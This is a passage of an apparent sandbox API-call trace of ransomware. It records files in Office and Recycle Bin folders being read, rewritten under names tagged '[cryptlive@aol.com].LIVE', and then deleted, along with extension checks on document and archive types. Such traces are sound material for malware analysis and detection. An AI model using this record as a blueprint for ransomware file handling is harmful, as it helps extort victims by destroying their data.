dwFileAttributes=0x20) returned 1 [0161.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico")) returned 1 [0161.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.555] lstrlenW (lpString=".doc") returned 4 [0161.555] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.555] lstrlenW (lpString=".docx") returned 5 [0161.555] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.555] lstrlenW (lpString=".pdf") returned 4 [0161.555] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.555] lstrlenW (lpString=".xls") returned 4 [0161.555] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.555] lstrlenW (lpString=".xlsx") returned 5 [0161.555] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.555] lstrlenW (lpString=".ppt") returned 4 [0161.555] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.555] lstrlenW (lpString=".zip") returned 4 [0161.555] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.555] lstrlenW (lpString=".rar") returned 4 [0161.555] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.555] lstrlenW (lpString=".bz2") returned 4 [0161.555] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.555] lstrlenW (lpString=".7z") returned 3 [0161.555] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.555] lstrlenW (lpString=".dbf") returned 4 [0161.555] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.555] lstrlenW (lpString=".1cd") returned 4 [0161.555] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.556] lstrlenW (lpString=".jpg") returned 4 [0161.556] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.556] lstrlenW (lpString=".doc") returned 4 [0161.556] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.556] lstrlenW (lpString=".docx") returned 5 [0161.556] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.556] lstrlenW (lpString=".pdf") returned 4 [0161.556] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.556] lstrlenW (lpString=".xls") returned 4 [0161.556] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.556] lstrlenW (lpString=".xlsx") returned 5 [0161.556] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.556] lstrlenW (lpString=".ppt") returned 4 [0161.556] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.556] lstrlenW (lpString=".zip") returned 4 [0161.556] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.556] lstrlenW (lpString=".rar") returned 4 [0161.556] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.556] lstrlenW (lpString=".bz2") returned 4 [0161.556] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.556] lstrlenW (lpString=".7z") returned 3 [0161.556] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.556] lstrlenW (lpString=".dbf") returned 4 [0161.556] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.556] lstrlenW (lpString=".1cd") returned 4 [0161.556] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0161.557] lstrlenW (lpString=".jpg") returned 4 [0161.557] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.557] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.557] lstrlenW (lpString="TASKACCS.ICO") returned 12 [0161.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.558] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2998) returned 1 [0161.558] CloseHandle (hObject=0x1b8) returned 1 [0161.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico")) returned 0x20 [0161.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.558] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.558] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.559] GetLastError () returned 0x0 [0161.559] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0161.916] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0161.917] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.917] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.917] SetEndOfFile (hFile=0x314) returned 1 [0161.917] CloseHandle (hObject=0x314) returned 1 [0161.917] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.917] SetEndOfFile (hFile=0x1b8) returned 1 [0161.919] CloseHandle (hObject=0x1b8) returned 1 [0161.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico")) returned 1 [0161.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.921] lstrlenW (lpString=".doc") returned 4 [0161.921] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.921] lstrlenW (lpString=".docx") returned 5 [0161.921] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.921] lstrlenW (lpString=".pdf") returned 4 [0161.921] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.921] lstrlenW (lpString=".xls") returned 4 [0161.921] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.921] lstrlenW (lpString=".xlsx") returned 5 [0161.921] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.921] lstrlenW (lpString=".ppt") returned 4 [0161.921] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.921] lstrlenW (lpString=".zip") returned 4 [0161.921] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.921] lstrlenW (lpString=".rar") returned 4 [0161.921] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.921] lstrlenW (lpString=".bz2") returned 4 [0161.921] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.921] lstrlenW (lpString=".7z") returned 3 [0161.921] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.921] lstrlenW (lpString=".dbf") returned 4 [0161.922] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.922] lstrlenW (lpString=".1cd") returned 4 [0161.922] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.922] lstrlenW (lpString=".jpg") returned 4 [0161.922] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.922] lstrlenW (lpString=".doc") returned 4 [0161.922] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.922] lstrlenW (lpString=".docx") returned 5 [0161.922] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.922] lstrlenW (lpString=".pdf") returned 4 [0161.922] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.922] lstrlenW (lpString=".xls") returned 4 [0161.922] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.922] lstrlenW (lpString=".xlsx") returned 5 [0161.922] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.922] lstrlenW (lpString=".ppt") returned 4 [0161.922] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.922] lstrlenW (lpString=".zip") returned 4 [0161.922] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.922] lstrlenW (lpString=".rar") returned 4 [0161.922] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.922] lstrlenW (lpString=".bz2") returned 4 [0161.922] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.922] lstrlenW (lpString=".7z") returned 3 [0161.922] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.922] lstrlenW (lpString=".dbf") returned 4 [0161.922] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.923] lstrlenW (lpString=".1cd") returned 4 [0161.923] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0161.923] lstrlenW (lpString=".jpg") returned 4 [0161.923] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.923] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.923] lstrlenW (lpString="TASKS.ICO") returned 9 [0161.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.924] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2998) returned 1 [0161.924] CloseHandle (hObject=0x1b8) returned 1 [0161.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico")) returned 0x20 [0161.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.924] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.924] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 55 os_tid = 0x664 [0126.675] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x91ece0 [0126.675] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x92ece8 [0126.675] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0140 [0126.676] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed08 [0126.676] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0158 [0126.676] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3790020 [0126.676] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0170 [0126.676] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0170, Size=0x20) returned 0x8fdfe8 [0126.676] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0170 [0126.676] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0170, Size=0x20) returned 0x8fe010 [0126.676] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.676] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.676] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff58 | out: OldValue=0x2ecff58*=0x0) returned 1 [0126.676] lstrlenW (lpString="kernel32.dll") returned 12 [0126.676] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fdfe8 | out: hHeap=0x880000) returned 1 [0126.676] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.676] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fe010 | out: hHeap=0x880000) returned 1 [0126.677] Sleep (dwMilliseconds=0x64) [0127.139] lstrcmpiW (lpString1=".ini", lpString2=".LIVE") returned -1 [0127.139] lstrlenW (lpString="desktop.ini") returned 11 [0127.139] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0127.139] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=129) returned 1 [0127.139] CloseHandle (hObject=0x1dc) returned 1 [0127.139] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0127.139] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live")) returned 0x26 [0127.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.307] lstrlenW (lpString=".doc") returned 4 [0127.307] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0127.307] lstrlenW (lpString=".docx") returned 5 [0127.307] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0127.307] lstrlenW (lpString=".pdf") returned 4 [0127.307] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0127.307] lstrlenW (lpString=".xls") returned 4 [0127.307] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0127.307] lstrlenW (lpString=".xlsx") returned 5 [0127.307] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0127.307] lstrlenW (lpString=".ppt") returned 4 [0127.307] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0127.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.307] lstrlenW (lpString=".zip") returned 4 [0127.307] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0127.307] lstrlenW (lpString=".rar") returned 4 [0127.307] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0127.307] lstrlenW (lpString=".bz2") returned 4 [0127.307] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0127.307] lstrlenW (lpString=".7z") returned 3 [0127.307] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0127.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.307] lstrlenW (lpString=".dbf") returned 4 [0127.307] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString=".1cd") returned 4 [0127.308] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString=".jpg") returned 4 [0127.308] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString=".doc") returned 4 [0127.308] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0127.308] lstrlenW (lpString=".docx") returned 5 [0127.308] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0127.308] lstrlenW (lpString=".pdf") returned 4 [0127.308] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0127.308] lstrlenW (lpString=".xls") returned 4 [0127.308] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0127.308] lstrlenW (lpString=".xlsx") returned 5 [0127.308] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0127.308] lstrlenW (lpString=".ppt") returned 4 [0127.308] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString=".zip") returned 4 [0127.308] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0127.308] lstrlenW (lpString=".rar") returned 4 [0127.308] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0127.308] lstrlenW (lpString=".bz2") returned 4 [0127.308] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0127.308] lstrlenW (lpString=".7z") returned 3 [0127.308] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString=".dbf") returned 4 [0127.308] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.308] lstrlenW (lpString=".1cd") returned 4 [0127.308] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0127.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0127.309] lstrlenW (lpString=".jpg") returned 4 [0127.309] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0127.309] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0127.309] lstrlenW (lpString="boxed-correct.avi") returned 17 [0127.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0129.345] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=89600) returned 1 [0129.345] CloseHandle (hObject=0x2f4) returned 1 [0129.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0129.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.345] lstrlenW (lpString=".doc") returned 4 [0129.345] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.345] lstrlenW (lpString=".docx") returned 5 [0129.345] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.345] lstrlenW (lpString=".pdf") returned 4 [0129.346] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString=".xls") returned 4 [0129.346] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString=".xlsx") returned 5 [0129.346] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.346] lstrlenW (lpString=".ppt") returned 4 [0129.346] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.346] lstrlenW (lpString=".zip") returned 4 [0129.346] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString=".rar") returned 4 [0129.346] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString=".bz2") returned 4 [0129.346] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString=".7z") returned 3 [0129.346] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.346] lstrlenW (lpString=".dbf") returned 4 [0129.346] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0129.346] lstrlenW (lpString=".1cd") returned 4 [0129.346] 